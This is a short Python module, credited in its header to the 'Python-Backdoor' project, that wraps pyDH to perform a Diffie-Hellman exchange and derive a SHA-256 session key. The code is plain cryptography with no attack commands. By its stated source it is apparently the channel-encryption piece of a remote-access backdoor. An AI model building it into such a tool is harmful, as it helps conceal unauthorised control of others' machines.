

```
1  """
2  https://github.com/xp4xbox/Python-Backdoor
3
4  @author    xp4xbox
5
6  license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
7  """
8  import hashlib
9
10 import pyDH
11
12 d = pyDH.DiffieHellman(group=5)
13
14
15 class DiffieHellman:
16     def __init__(self):
17         self.key = None
18         self.pub_key = d.gen_public_key()
19
20     def set_shared_key(self, pub_key):
21         # hash key to get 256
22         self.key = hashlib.sha256(d.gen_shared_key(pub_key).encode()).digest()
23
```